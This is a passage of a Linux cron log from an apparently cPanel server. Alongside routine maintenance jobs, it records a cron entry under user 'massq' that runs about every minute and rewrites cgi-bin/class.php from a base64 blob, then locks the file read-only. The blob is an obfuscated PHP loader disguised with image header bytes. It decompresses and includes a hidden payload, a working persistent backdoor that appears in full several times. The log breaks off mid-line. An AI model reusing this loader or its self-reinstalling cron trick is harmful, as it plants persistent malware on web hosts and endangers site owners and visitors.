Sep  1 08:00:01 server CROND[16145]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 08:00:01 server CROND[16151]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 08:00:01 server CROND[16152]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 08:00:01 server CROND[16144]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/checkdbs)
Sep  1 08:00:01 server CROND[16153]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  1 08:01:01 server CROND[17013]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 08:01:01 server CROND[17014]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 08:01:01 server CROND[17016]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 08:01:01 server CROND[17015]: (root) CMD (run-parts /etc/cron.hourly)
Sep  1 08:01:01 server run-parts(/etc/cron.hourly)[17015]: starting 0anacron
Sep  1 08:01:01 server run-parts(/etc/cron.hourly)[17036]: finished 0anacron
Sep  1 08:02:01 server CROND[17401]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 08:02:01 server CROND[17402]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 08:02:01 server CROND[17408]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 08:03:01 server CROND[17774]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 08:03:01 server CROND[17775]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 08:03:01 server CROND[17776]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 08:04:01 server CROND[18254]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 08:04:01 server CROND[18255]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 08:04:01 server CROND[18256]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 08:05:01 server CROND[18756]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep  1 08:05:01 server CROND[18758]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 08:05:01 server CROND[18760]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 08:05:01 server CROND[18762]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 08:05:01 server CROND[18764]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 08:05:01 server CROND[18765]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 08:05:01 server CROND[18766]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 08:05:01 server CROND[18768]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 08:05:01 server CROND[18763]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 08:06:01 server CROND[19618]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 08:06:01 server CROND[19619]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 08:06:01 server CROND[19620]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 08:07:01 server CROND[19989]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 08:07:01 server CROND[19991]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 08:07:01 server CROND[19990]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 08:08:01 server CROND[20362]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 08:08:01 server CROND[20363]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 08:08:01 server CROND[20364]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 08:09:01 server CROND[20758]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 08:09:01 server CROND[20771]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 08:09:01 server CROND[20772]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  1 08:09:01 server CROND[20774]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 08:10:01 server CROND[21167]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 08:10:01 server CROND[21166]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 08:10:01 server CROND[21170]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 08:10:01 server CROND[21179]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 08:10:01 server CROND[21181]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 08:10:01 server CROND[21182]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 08:10:01 server CROND[21183]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 08:10:01 server CROND[21188]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 08:11:01 server CROND[22145]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 08:11:01 server CROND[22146]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6w